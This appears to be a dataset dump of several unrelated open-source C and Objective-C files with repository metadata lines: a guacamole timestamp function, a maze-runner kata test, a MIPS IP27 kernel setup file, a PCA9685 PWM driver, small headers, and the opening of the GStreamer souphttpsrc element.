_MSC_VER >= 1200 #pragma warning(pop) #else #pragma warning(default:4201) #endif #endif /* (DIRECT3D_VERSION >= 0x0800) */ #endif /* _D3D8TYPES(P)_H_ */
38.117172
464
0.712317
1e1d96525ac78d0be4f1d4203a5d77e83fb19c92
1,785
c
C
src/libguac/timestamp.c
MT4SoftwareStudio/guacamole-server
642215760264f7a59a0b7b3d5e4572a5b0e8aeea
[ "MIT" ]
2
2015-03-30T02:31:41.000Z
2017-09-06T11:08:38.000Z
src/libguac/timestamp.c
MT4SoftwareStudio/guacamole-server
642215760264f7a59a0b7b3d5e4572a5b0e8aeea
[ "MIT" ]
null
null
null
src/libguac/timestamp.c
MT4SoftwareStudio/guacamole-server
642215760264f7a59a0b7b3d5e4572a5b0e8aeea
[ "MIT" ]
null
null
null
/* * Copyright (C) 2013 Glyptodon LLC * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "config.h" #include "timestamp.h" #include <sys/time.h> #if defined(HAVE_CLOCK_GETTIME) || defined(HAVE_NANOSLEEP) #include <time.h> #endif guac_timestamp guac_timestamp_current() { #ifdef HAVE_CLOCK_GETTIME struct timespec current; /* Get current time */ clock_gettime(CLOCK_REALTIME, &current); /* Calculate milliseconds */ return (guac_timestamp) current.tv_sec * 1000 + current.tv_nsec / 1000000; #else struct timeval current; /* Get current time */ gettimeofday(&current, NULL); /* Calculate milliseconds */ return (guac_timestamp) current.tv_sec * 1000 + current.tv_usec / 1000; #endif }
30.254237
80
0.735014
b31552ae6519e4f3c46c7c2d83b2cfc78f82206d
2,406
c
C
test/maze_runner/maze_runner_test.c
borisskert/c-katas
1bd5726fe5041226e095cf0a7ffc09ed23572746
[ "MIT" ]
null
null
null
test/maze_runner/maze_runner_test.c
borisskert/c-katas
1bd5726fe5041226e095cf0a7ffc09ed23572746
[ "MIT" ]
null
null
null
test/maze_runner/maze_runner_test.c
borisskert/c-katas
1bd5726fe5041226e095cf0a7ffc09ed23572746
[ "MIT" ]
null
null
null
#include <criterion/criterion.h> #include <criterion/new/assert.h> char *maze_runner(const int *maze, size_t n, const char *directions); static void tester(const int *maze, size_t n, const char *directions, char *outcome); Test(Maze_Runner_Tests, should_pass_all_the_tests_provided) { #define N 7 const int maze[N * N] = {1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 3, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 2, 1, 0, 1, 0, 1}; // maze is passed in as a 1-D int array with length n // directions are passed in as a null-terninated string // do not allocate memory, instead return a string literal { const char *directions = "NNNNNEEEEE"; tester(maze, N, directions, "Finish"); } { const char *directions = "NNNNNEESSEENNE"; tester(maze, N, directions, "Finish"); } { const char *directions = "NNNNNEEEEEWW"; tester(maze, N, directions, "Finish"); } { const char *directions = "NEEEE"; tester(maze, N, directions, "Lost"); } { const char *directions = "NNNWW"; tester(maze, N, directions, "Dead"); } { const char *directions = "NNNNNEESSSSSS"; tester(maze, N, directions, "Dead"); } { const int maze[10 * 10] = {1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 3, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 2, 1}; const char *directions = "NNNNNEESSSSSS"; tester(maze, 10, directions, "Dead"); } } void tester(const int *maze, size_t n, const char *directions, char *outcome) { char *actual = maze_runner(maze, n, directions); cr_assert(eq(str, actual, outcome)); }
35.382353
85
0.435993
6c8d08b1e2a51740eb9b83fe3c7cf1da5fe8e82d
8,598
c
C
release/src/linux/linux/arch/mips/sgi-ip27/ip27-setup.c
enfoTek/tomato.linksys.e2000.nvram-mod
2ce3a5217def49d6df7348522e2bfda702b56029
[ "FSFAP" ]
80
2015-01-02T10:14:04.000Z
2021-06-07T06:29:49.000Z
release/src/linux/linux/arch/mips/sgi-ip27/ip27-setup.c
unforgiven512/tomato
96f09fab4929c6ddde5c9113f1b2476ad37133c4
[ "FSFAP" ]
9
2015-05-14T11:03:12.000Z
2018-01-04T07:12:58.000Z
release/src/linux/linux/arch/mips/sgi-ip27/ip27-setup.c
unforgiven512/tomato
96f09fab4929c6ddde5c9113f1b2476ad37133c4
[ "FSFAP" ]
69
2015-01-02T10:45:56.000Z
2021-09-06T07:52:13.000Z
/* * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * SGI IP27 specific setup. * * Copyright (C) 1999, 2000 Ralf Baechle (ralf@gnu.org) * Copyright (C) 1999, 2000 Silcon Graphics, Inc. */ #include <linux/config.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/spinlock.h> #include <linux/sched.h> #include <linux/smp.h> #include <asm/io.h> #include <asm/sn/types.h> #include <asm/sn/sn0/addrs.h> #include <asm/sn/sn0/hubni.h> #include <asm/sn/sn0/hubio.h> #include <asm/sn/klconfig.h> #include <asm/sn/ioc3.h> #include <asm/time.h> #include <asm/mipsregs.h> #include <asm/sn/arch.h> #include <asm/sn/sn_private.h> #include <asm/pci/bridge.h> #include <asm/paccess.h> #include <asm/sn/sn0/ip27.h> /* Check against user dumbness. */ #ifdef CONFIG_VT #error CONFIG_VT not allowed for IP27. #endif #undef DEBUG_SETUP #ifdef DEBUG_SETUP #define DBG(x...) printk(x) #else #define DBG(x...) #endif /* * get_nasid() returns the physical node id number of the caller. */ nasid_t get_nasid(void) { return (nasid_t)((LOCAL_HUB_L(NI_STATUS_REV_ID) & NSRI_NODEID_MASK) >> NSRI_NODEID_SHFT); } static inline void ioc3_sio_init(void) { struct ioc3 *ioc3; nasid_t nid; long loops; nid = get_nasid(); ioc3 = (struct ioc3 *) KL_CONFIG_CH_CONS_INFO(nid)->memory_base; ioc3->sscr_a = 0; /* PIO mode for uarta. */ ioc3->sscr_b = 0; /* PIO mode for uartb. */ ioc3->sio_iec = ~0; ioc3->sio_ies = (SIO_IR_SA_INT | SIO_IR_SB_INT); loops=1000000; while(loops--); ioc3->sregs.uarta.iu_fcr = 0; ioc3->sregs.uartb.iu_fcr = 0; loops=1000000; while(loops--); } static inline void ioc3_eth_init(void) { struct ioc3 *ioc3; nasid_t nid; nid = get_nasid(); ioc3 = (struct ioc3 *) KL_CONFIG_CH_CONS_INFO(nid)->memory_base; ioc3->eier = 0; } /* Try to catch kernel missconfigurations and give user an indication what option to select. */ static void __init verify_mode(void) { int n_mode; n_mode = LOCAL_HUB_L(NI_STATUS_REV_ID) & NSRI_MORENODES_MASK; printk("Machine is in %c mode.\n", n_mode ? 'N' : 'M'); #ifdef CONFIG_SGI_SN0_N_MODE if (!n_mode) panic("Kernel compiled for M mode."); #else if (n_mode) panic("Kernel compiled for N mode."); #endif } #define XBOW_WIDGET_PART_NUM 0x0 #define XXBOW_WIDGET_PART_NUM 0xd000 /* Xbridge */ #define BASE_XBOW_PORT 8 /* Lowest external port */ unsigned int bus_to_cpu[256]; unsigned long bus_to_baddr[256]; void __init pcibr_setup(cnodeid_t nid) { int i, start, num; unsigned long masterwid; bridge_t *bridge; volatile u64 hubreg; nasid_t nasid, masternasid; xwidget_part_num_t partnum; widgetreg_t widget_id; static spinlock_t pcibr_setup_lock = SPIN_LOCK_UNLOCKED; /* * If the master is doing this for headless node, nothing to do. * This is because currently we require at least one of the hubs * (master hub) connected to the xbow to have at least one enabled * cpu to receive intrs. Else we need an array bus_to_intrnasid[] * that bridge_startup() needs to use to target intrs. All dma is * routed thru the widget of the master hub. The master hub wid * is selectable by WIDGET_A below. */ if (nid != get_compact_nodeid()) return; /* * find what's on our local node */ spin_lock(&pcibr_setup_lock); start = num_bridges; /* Remember where we start from */ nasid = COMPACT_TO_NASID_NODEID(nid); hubreg = REMOTE_HUB_L(nasid, IIO_LLP_CSR); if (hubreg & IIO_LLP_CSR_IS_UP) { /* link is up */ widget_id = *(volatile widgetreg_t *) (RAW_NODE_SWIN_BASE(nasid, 0x0) + WIDGET_ID); partnum = XWIDGET_PART_NUM(widget_id); printk("Cpu %d, Nasid 0x%x, pcibr_setup(): found partnum= 0x%x", smp_processor_id(), nasid, partnum); if (partnum == BRIDGE_WIDGET_PART_NUM) { /* * found direct connected bridge so must be Origin200 */ printk("...is bridge\n"); num_bridges = 1; bus_to_wid[0] = 0x8; bus_to_nid[0] = 0; masterwid = 0xa; bus_to_baddr[0] = 0xa100000000000000UL; } else if (partnum == XBOW_WIDGET_PART_NUM) { lboard_t *brd; klxbow_t *xbow_p; /* * found xbow, so may have multiple bridges * need to probe xbow */ printk("...is xbow\n"); if ((brd = find_lboard((lboard_t *)KL_CONFIG_INFO(nasid), KLTYPE_MIDPLANE8)) == NULL) printk("argh\n"); else printk("brd = 0x%lx\n", (unsigned long) brd); if ((xbow_p = (klxbow_t *) find_component(brd, NULL, KLSTRUCT_XBOW)) == NULL) printk("argh\n"); else { /* * Okay, here's a xbow. Lets arbitrate and find * out if we should initialize it. Set enabled * hub connected at highest or lowest widget as * master. */ #ifdef WIDGET_A i = HUB_WIDGET_ID_MAX + 1; do { i--; } while ((!XBOW_PORT_TYPE_HUB(xbow_p, i)) || (!XBOW_PORT_IS_ENABLED(xbow_p, i))); #else i = HUB_WIDGET_ID_MIN - 1; do { i++; } while ((!XBOW_PORT_TYPE_HUB(xbow_p, i)) || (!XBOW_PORT_IS_ENABLED(xbow_p, i))); #endif masterwid = i; masternasid = XBOW_PORT_NASID(xbow_p, i); if (nasid == masternasid) for (i=HUB_WIDGET_ID_MIN; i<=HUB_WIDGET_ID_MAX; i++) { if (!XBOW_PORT_IS_ENABLED(xbow_p, i)) continue; if (XBOW_PORT_TYPE_IO(xbow_p, i)) { widget_id = *(volatile widgetreg_t *) (RAW_NODE_SWIN_BASE(nasid, i) + WIDGET_ID); partnum = XWIDGET_PART_NUM(widget_id); if (partnum == BRIDGE_WIDGET_PART_NUM) { printk("widget 0x%x is a bridge\n", i); bus_to_wid[num_bridges] = i; bus_to_nid[num_bridges] = nasid; bus_to_baddr[num_bridges] = ((masterwid << 60) | (1UL << 56)); /* Barrier set */ num_bridges++; } } } } } else if (partnum == XXBOW_WIDGET_PART_NUM) { /* * found xbridge, assume ibrick for now */ printk("...is xbridge\n"); bus_to_wid[0] = 0xb; bus_to_wid[1] = 0xe; bus_to_wid[2] = 0xf; bus_to_nid[0] = 0; bus_to_nid[1] = 0; bus_to_nid[2] = 0; bus_to_baddr[0] = 0xa100000000000000UL; bus_to_baddr[1] = 0xa100000000000000UL; bus_to_baddr[2] = 0xa100000000000000UL; masterwid = 0xa; num_bridges = 3; } } num = num_bridges - start; spin_unlock(&pcibr_setup_lock); /* * set bridge registers */ for (i = start; i < (start + num); i++) { DBG("pcibr_setup: bus= %d bus_to_wid[%2d]= %d bus_to_nid[%2d]= %d\n", i, i, bus_to_wid[i], i, bus_to_nid[i]); bus_to_cpu[i] = smp_processor_id(); /* * point to this bridge */ bridge = (bridge_t *) NODE_SWIN_BASE(bus_to_nid[i],bus_to_wid[i]); /* * Clear all pending interrupts. */ bridge->b_int_rst_stat = (BRIDGE_IRR_ALL_CLR); /* * Until otherwise set up, assume all interrupts are from slot 0 */ bridge->b_int_device = (u32) 0x0; /* * swap pio's to pci mem and io space (big windows) */ bridge->b_wid_control |= BRIDGE_CTRL_IO_SWAP; bridge->b_wid_control |= BRIDGE_CTRL_MEM_SWAP; /* * Hmm... IRIX sets additional bits in the address which * are documented as reserved in the bridge docs. */ bridge->b_int_mode = 0x0; /* Don't clear ints */ bridge->b_wid_int_upper = 0x8000 | (masterwid << 16); bridge->b_wid_int_lower = 0x01800090; /* PI_INT_PEND_MOD off*/ bridge->b_dir_map = (masterwid << 20); /* DMA */ bridge->b_int_enable = 0; bridge->b_wid_tflush; /* wait until Bridge PIO complete */ } } extern void ip27_setup_console(void); extern void ip27_time_init(void); extern void ip27_reboot_setup(void); void __init ip27_setup(void) { nasid_t nid; hubreg_t p, e; ip27_setup_console(); ip27_reboot_setup(); num_bridges = 0; /* * hub_rtc init and cpu clock intr enabled for later calibrate_delay. */ DBG("ip27_setup(): Entered.\n"); nid = get_nasid(); printk("IP27: Running on node %d.\n", nid); p = LOCAL_HUB_L(PI_CPU_PRESENT_A) & 1; e = LOCAL_HUB_L(PI_CPU_ENABLE_A) & 1; printk("Node %d has %s primary CPU%s.\n", nid, p ? "a" : "no", e ? ", CPU is running" : ""); p = LOCAL_HUB_L(PI_CPU_PRESENT_B) & 1; e = LOCAL_HUB_L(PI_CPU_ENABLE_B) & 1; printk("Node %d has %s secondary CPU%s.\n", nid, p ? "a" : "no", e ? ", CPU is running" : ""); verify_mode(); ioc3_sio_init(); ioc3_eth_init(); per_cpu_init(); set_io_port_base(IO_BASE); board_time_init = ip27_time_init; }
27.208861
85
0.64736
14795876803f875ce434d69f0686c0f53e5d56d0
862
h
C
src/CtThread/src/CtCondition.h
jxfengzi/MdnsdTest
b2392c95a4362e8278f3bdce31fc6cae5c5cabb6
[ "MIT" ]
1
2020-09-18T05:43:51.000Z
2020-09-18T05:43:51.000Z
src/CtThread/src/CtCondition.h
jxfengzi/MdnsdTest
b2392c95a4362e8278f3bdce31fc6cae5c5cabb6
[ "MIT" ]
null
null
null
src/CtThread/src/CtCondition.h
jxfengzi/MdnsdTest
b2392c95a4362e8278f3bdce31fc6cae5c5cabb6
[ "MIT" ]
null
null
null
/* * Copyright (C) 2013-2015 * * @author jxfengzi@gmail.com * @date 2013-11-19 * * @file CtCondition.h * * @remark * */ #ifndef __CT_CONDITION_H__ #define __CT_CONDITION_H__ #include "ct_common.h" #include "CtMutex.h" CT_BEGIN_DECLS #ifdef _WIN32 typedef HANDLE ct_cond_t; #else /* Linux */ typedef pthread_cond_t ct_cond_t; #endif /* _WIN32 */ typedef struct _CtCondition { CtMutex mutex; ct_cond_t job; bool is_ready; } CtCondition; CtCondition * CtCondition_New(void); CtRet CtCondition_Construct(CtCondition *thiz); CtRet CtCondition_Dispose(CtCondition *thiz); void CtCondition_Delete(CtCondition *thiz); bool CtCondition_Wait(CtCondition *thiz); bool CtCondition_NotifyOne(CtCondition *thiz); bool CtCondition_NotifyAll(CtCondition *thiz); CT_END_DECLS #endif /* __CT_CONDITION_H__ */
17.958333
47
0.719258
e7dc1acc16ac5d983b7a0206f0f5c10b7659d147
1,153
h
C
Geoparse/GSNObject.h
mathewa6/GeoParse
8be0c0ba57566f3d4367d6b5e89a634636cf959a
[ "MIT" ]
null
null
null
Geoparse/GSNObject.h
mathewa6/GeoParse
8be0c0ba57566f3d4367d6b5e89a634636cf959a
[ "MIT" ]
null
null
null
Geoparse/GSNObject.h
mathewa6/GeoParse
8be0c0ba57566f3d4367d6b5e89a634636cf959a
[ "MIT" ]
null
null
null
// // GSNObject.h // JSONStage // // Created by Adi Mathew on 6/19/14. // Copyright (c) 2014 RCPD. All rights reserved. // #import <Foundation/Foundation.h> #import <CoreLocation/CoreLocation.h> #import <MapKit/MapKit.h> #import "GSNJSONFriendly.h" #import "GSNGeometry.h" #import "GSNCRSObject.h" #import "GSNObjectTypes.h" #import "NSDictionary+GSNObjectMethods.h" #import "NSArray+Coordinate2D.h" @interface GSNObject : NSObject <JSONFriendly> /** NSString that determines the "type" of the GeoJSON object. "Point", "Polygon", etc. */ @property (nonatomic, strong) NSString *type; /** GSNCRSObject containing the Coordinate Reference System object with "type" and "properties". */ @property (nonatomic, strong) NSDictionary *crs; /** NSArray containing bounding box */ @property (nonatomic, strong) NSArray *bbox; - (instancetype)initWithType:(NSString *)type crs:(NSDictionary *)crs bbox:(NSArray *)bbox; - (BOOL)isObjectOfType: (NSString *)type; + (id)objectFromDictionary: (NSDictionary *)dictionary; + (id)objectFromArray: (NSArray *)array ofType: (NSUInteger)geometryType withBBox: (NSArray *)bbox named: (NSString *)name; @end
27.452381
123
0.735473
9b4712ebc0ad5ed2b5cf64d79b83551f8ebb26fe
4,909
c
C
drivers/pwm/pwm_pca9685.c
zephyriot/zephyr-bluetooth
b7d676d6287587cdfe9cc23d82c51f96d9338c35
[ "Apache-2.0" ]
2
2020-10-21T02:30:05.000Z
2021-04-07T08:43:08.000Z
drivers/pwm/pwm_pca9685.c
zephyriot/zephyr-bluetooth
b7d676d6287587cdfe9cc23d82c51f96d9338c35
[ "Apache-2.0" ]
2
2020-10-08T13:53:04.000Z
2021-01-08T15:46:59.000Z
drivers/pwm/pwm_pca9685.c
zephyriot/zephyr-bluetooth
b7d676d6287587cdfe9cc23d82c51f96d9338c35
[ "Apache-2.0" ]
1
2020-10-07T07:57:21.000Z
2020-10-07T07:57:21.000Z
/* * Copyright (c) 2015 Intel Corporation. * * SPDX-License-Identifier: Apache-2.0 */ /** * @file Driver for PCA9685 I2C-based PWM driver. */ #include <errno.h> #include <kernel.h> #include <i2c.h> #include <pwm.h> #include "pwm_pca9685.h" #define REG_MODE1 0x00 #define REG_MODE2 0x01 #define REG_LED_ON_L(n) ((4 * n) + 0x06) #define REG_LED_ON_H(n) ((4 * n) + 0x07) #define REG_LED_OFF_L(n) ((4 * n) + 0x08) #define REG_LED_OFF_H(n) ((4 * n) + 0x09) #define REG_ALL_LED_ON_L 0xFA #define REG_ALL_LED_ON_H 0xFB #define REG_ALL_LED_OFF_L 0xFC #define REG_ALL_LED_OFF_H 0xFD #define REG_PRE_SCALE 0xFE /* Maximum PWM outputs */ #define MAX_PWM_OUT 16 /* How many ticks per one period */ #define PWM_ONE_PERIOD_TICKS 4096 /** * @brief Check to see if a I2C master is identified for communication. * * @param dev Device struct. * @return 1 if I2C master is identified, 0 if not. */ static inline int _has_i2c_master(struct device *dev) { struct pwm_pca9685_drv_data * const drv_data = (struct pwm_pca9685_drv_data * const)dev->driver_data; struct device * const i2c_master = drv_data->i2c_master; if (i2c_master) return 1; else return 0; } static int pwm_pca9685_configure(struct device *dev, int access_op, u32_t pwm, int flags) { ARG_UNUSED(dev); ARG_UNUSED(access_op); ARG_UNUSED(pwm); ARG_UNUSED(flags); return 0; } static int pwm_pca9685_set_values(struct device *dev, int access_op, u32_t pwm, u32_t on, u32_t off) { const struct pwm_pca9685_config * const config = dev->config->config_info; struct pwm_pca9685_drv_data * const drv_data = (struct pwm_pca9685_drv_data * const)dev->driver_data; struct device * const i2c_master = drv_data->i2c_master; u16_t i2c_addr = config->i2c_slave_addr; u8_t buf[] = { 0, 0, 0, 0, 0}; if (!_has_i2c_master(dev)) { return -EINVAL; } switch (access_op) { case PWM_ACCESS_BY_PIN: if (pwm > MAX_PWM_OUT) { return -EINVAL; } buf[0] = REG_LED_ON_L(pwm); break; case PWM_ACCESS_ALL: buf[0] = REG_ALL_LED_ON_L; break; default: return -ENOTSUP; } /* If either ON and/or OFF > max ticks, treat PWM as 100%. * If OFF value == 0, treat it as 0%. * Otherwise, populate registers accordingly. */ if ((on >= PWM_ONE_PERIOD_TICKS) || (off >= PWM_ONE_PERIOD_TICKS)) { buf[1] = 0x0; buf[2] = (1 << 4); buf[3] = 0x0; buf[4] = 0x0; } else if (off == 0) { buf[1] = 0x0; buf[2] = 0x0; buf[3] = 0x0; buf[4] = (1 << 4); } else { buf[1] = (on & 0xFF); buf[2] = ((on >> 8) & 0x0F); buf[3] = (off & 0xFF); buf[4] = ((off >> 8) & 0x0F); } return i2c_write(i2c_master, buf, sizeof(buf), i2c_addr); } /** * Duty cycle describes the percentage of time a signal is turned * to the ON state. */ static int pwm_pca9685_set_duty_cycle(struct device *dev, int access_op, u32_t pwm, u8_t duty) { u32_t on, off, phase; phase = 0; /* Hard coded until API changes */ if (duty == 0) { /* Turn off PWM */ on = 0; off = 0; } else if (duty >= 100) { /* Force PWM to be 100% */ on = PWM_ONE_PERIOD_TICKS + 1; off = PWM_ONE_PERIOD_TICKS + 1; } else { off = PWM_ONE_PERIOD_TICKS * duty / 100; on = phase; } return pwm_pca9685_set_values(dev, access_op, pwm, on, off); } static const struct pwm_driver_api pwm_pca9685_drv_api_funcs = { .config = pwm_pca9685_configure, .set_values = pwm_pca9685_set_values, .set_duty_cycle = pwm_pca9685_set_duty_cycle, }; /** * @brief Initialization function of PCA9685 * * @param dev Device struct * @return 0 if successful, failed otherwise. */ int pwm_pca9685_init(struct device *dev) { const struct pwm_pca9685_config * const config = dev->config->config_info; struct pwm_pca9685_drv_data * const drv_data = (struct pwm_pca9685_drv_data * const)dev->driver_data; struct device *i2c_master; u8_t buf[] = {0, 0}; int ret; /* Find out the device struct of the I2C master */ i2c_master = device_get_binding((char *)config->i2c_master_dev_name); if (!i2c_master) { return -EINVAL; } drv_data->i2c_master = i2c_master; /* MODE1 register */ buf[0] = REG_MODE1; buf[1] = (1 << 5); /* register addr auto increment */ ret = i2c_write(i2c_master, buf, 2, config->i2c_slave_addr); if (ret != 0) { return -EPERM; } dev->driver_api = &pwm_pca9685_drv_api_funcs; return 0; } /* Initialization for PWM_PCA9685_0 */ #ifdef CONFIG_PWM_PCA9685_0 #include <device.h> #include <init.h> static const struct pwm_pca9685_config pwm_pca9685_0_cfg = { .i2c_master_dev_name = CONFIG_PWM_PCA9685_0_I2C_MASTER_DEV_NAME, .i2c_slave_addr = CONFIG_PWM_PCA9685_0_I2C_ADDR, }; static struct pwm_pca9685_drv_data pwm_pca9685_0_drvdata; /* This has to init after I2C master */ DEVICE_INIT(pwm_pca9685_0, CONFIG_PWM_PCA9685_0_DEV_NAME, pwm_pca9685_init, &pwm_pca9685_0_drvdata, &pwm_pca9685_0_cfg, POST_KERNEL, CONFIG_PWM_PCA9685_INIT_PRIORITY); #endif /* CONFIG_PWM_PCA9685_0 */
23.15566
72
0.69505
f05e63f466e255e29b249313234ef8273c846580
1,773
h
C
ZJDKit/Classes/ZJD/ZJD_TableView.h
Sdfeidong/ZJDKit
2f52944b284a1b57cb96c50612dba59e8ec19e5c
[ "MIT" ]
null
null
null
ZJDKit/Classes/ZJD/ZJD_TableView.h
Sdfeidong/ZJDKit
2f52944b284a1b57cb96c50612dba59e8ec19e5c
[ "MIT" ]
null
null
null
ZJDKit/Classes/ZJD/ZJD_TableView.h
Sdfeidong/ZJDKit
2f52944b284a1b57cb96c50612dba59e8ec19e5c
[ "MIT" ]
null
null
null
// // ZJD_TableView.h // 让UITableView响应touch事件 // // Created by aidong on 15/5/22. // Copyright (c) 2015年 aidong. All rights reserved. // #import <UIKit/UIKit.h> /** * 我们知道UITableView没有像UIButton那样可以通过addTarget方法来监听touch事件,因此在某些场合,特别是在UITableViewCell中包含UITextField的时候,我们很有可能想通过点击UITableView的其他地方来取消UITextField的焦点。也许有朋友会说,使用UITapGestureRecognizer手势来取消焦点,这样是可以行得通,但是如果TextField中有clearButton或者其自定义的Button的时候,手势就会吸收掉事件了,导致按钮无效。 */ /** * 使用方法也很简单在原有UITableView的基础上赋予touchDelegate委托即可取到touch事件响应。如下: - (void)loadView { [super loadView]; TouchTableView *tableView = [[TouchTableView alloc]initWithFrame:CGRectMake(0.0, 0.0, 320, 400) style:UITableViewStyleGrouped]; tableView.touchDelegate = self; //相关处理 [self.view addSubview:tableView]; } - (void)tableView:(UITableView *)tableView touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event { //touch结束后的处理 } */ /** * 重写UITableView的touch相关的方法,然后通过委托的方式提供给外部对象使用。首先定义Delegate: */ @protocol TouchTableViewDelegate <NSObject> @optional /** * 重写touch方法时必须把父类实现方法写上,否则UITableViewCell将无法正常工作。所有的改写工作如下所示,新的TableView类具有touch事件响应了。 */ - (void)tableView:(UITableView *)tableView touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event; - (void)tableView:(UITableView *)tableView touchesCancelled:(NSSet *)touches withEvent:(UIEvent *)event; - (void)tableView:(UITableView *)tableView touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event; - (void)tableView:(UITableView *)tableView touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event; @end /** * 然后UITableView的子类加入一委托对象,并重写所有touch相关方法 */ @interface ZJD_TableView : UITableView @property (nonatomic,weak) id<TouchTableViewDelegate> touchDelegate; @end
23.64
258
0.743373
f06c9230a0e827e0caea2a78d79a34de570ac2d7
70,827
c
C
third_party/gst-plugins-good/ext/soup/gstsouphttpsrc.c
isabella232/aistreams
209f4385425405676a581a749bb915e257dbc1c1
[ "Apache-2.0" ]
6
2020-09-22T18:07:15.000Z
2021-10-21T01:34:04.000Z
third_party/gst-plugins-good/ext/soup/gstsouphttpsrc.c
isabella232/aistreams
209f4385425405676a581a749bb915e257dbc1c1
[ "Apache-2.0" ]
2
2020-11-10T13:17:39.000Z
2022-03-30T11:22:14.000Z
third_party/gst-plugins-good/ext/soup/gstsouphttpsrc.c
isabella232/aistreams
209f4385425405676a581a749bb915e257dbc1c1
[ "Apache-2.0" ]
3
2020-09-26T08:40:35.000Z
2021-10-21T01:33:56.000Z
/* GStreamer * Copyright (C) 2007-2008 Wouter Cloetens <wouter@mind.be> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more */ /** * SECTION:element-souphttpsrc * * This plugin reads data from a remote location specified by a URI. * Supported protocols are 'http', 'https'. * * An HTTP proxy must be specified by its URL. * If the "http_proxy" environment variable is set, its value is used. * If built with libsoup's GNOME integration features, the GNOME proxy * configuration will be used, or failing that, proxy autodetection. * The #GstSoupHTTPSrc:proxy property can be used to override the default. * * In case the #GstSoupHTTPSrc:iradio-mode property is set and the location is * an HTTP resource, souphttpsrc will send special Icecast HTTP headers to the * server to request additional Icecast meta-information. * If the server is not an Icecast server, it will behave as if the * #GstSoupHTTPSrc:iradio-mode property were not set. If it is, souphttpsrc will * output data with a media type of application/x-icy, in which case you will * need to use the #ICYDemux element as follow-up element to extract the Icecast * metadata and to determine the underlying media type. * * <refsect2> * <title>Example launch line</title> * |[ * gst-launch-1.0 -v souphttpsrc location=https://some.server.org/index.html * ! filesink location=/home/joe/server.html * ]| The above pipeline reads a web page from a server using the HTTPS protocol * and writes it to a local file. * |[ * gst-launch-1.0 -v souphttpsrc user-agent="FooPlayer 0.99 beta" * automatic-redirect=false proxy=http://proxy.intranet.local:8080 * location=http://music.foobar.com/demo.mp3 ! mpgaudioparse * ! mpg123audiodec ! audioconvert ! audioresample ! autoaudiosink * ]| The above pipeline will read and decode and play an mp3 file from a * web server using the HTTP protocol. If the server sends redirects, * the request fails instead of following the redirect. The specified * HTTP proxy server is used. The User-Agent HTTP request header * is set to a custom string instead of "GStreamer souphttpsrc." * |[ * gst-launch-1.0 -v souphttpsrc location=http://10.11.12.13/mjpeg * do-timestamp=true ! multipartdemux * ! image/jpeg,width=640,height=480 ! matroskamux * ! filesink location=mjpeg.mkv * ]| The above pipeline reads a motion JPEG stream from an IP camera * using the HTTP protocol, encoded as mime/multipart image/jpeg * parts, and writes a Matroska motion JPEG file. The width and * height properties are set in the caps to provide the Matroska * multiplexer with the information to set this in the header. * Timestamps are set on the buffers as they arrive from the camera. * These are used by the mime/multipart demultiplexer to emit timestamps * on the JPEG-encoded video frame buffers. This allows the Matroska * multiplexer to timestamp the frames in the resulting file. * </refsect2> */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <string.h> #ifdef HAVE_STDLIB_H #include <stdlib.h> /* atoi() */ #endif #include <gst/gstelement.h> #include <gst/gst-i18n-plugin.h> #include <libsoup/soup.h> #include "gstsouphttpsrc.h" #include "gstsouputils.h" #include <gst/tag/tag.h> GST_DEBUG_CATEGORY_STATIC (souphttpsrc_debug); #define GST_CAT_DEFAULT souphttpsrc_debug #define GST_SOUP_SESSION_CONTEXT "gst.soup.session" static GstStaticPadTemplate srctemplate = GST_STATIC_PAD_TEMPLATE ("src", GST_PAD_SRC, GST_PAD_ALWAYS, GST_STATIC_CAPS_ANY); enum { PROP_0, PROP_LOCATION, PROP_IS_LIVE, PROP_USER_AGENT, PROP_AUTOMATIC_REDIRECT, PROP_PROXY, PROP_USER_ID, PROP_USER_PW, PROP_PROXY_ID, PROP_PROXY_PW, PROP_COOKIES, PROP_IRADIO_MODE, PROP_TIMEOUT, PROP_EXTRA_HEADERS, PROP_SOUP_LOG_LEVEL, PROP_COMPRESS, PROP_KEEP_ALIVE, PROP_SSL_STRICT, PROP_SSL_CA_FILE, PROP_SSL_USE_SYSTEM_CA_FILE, 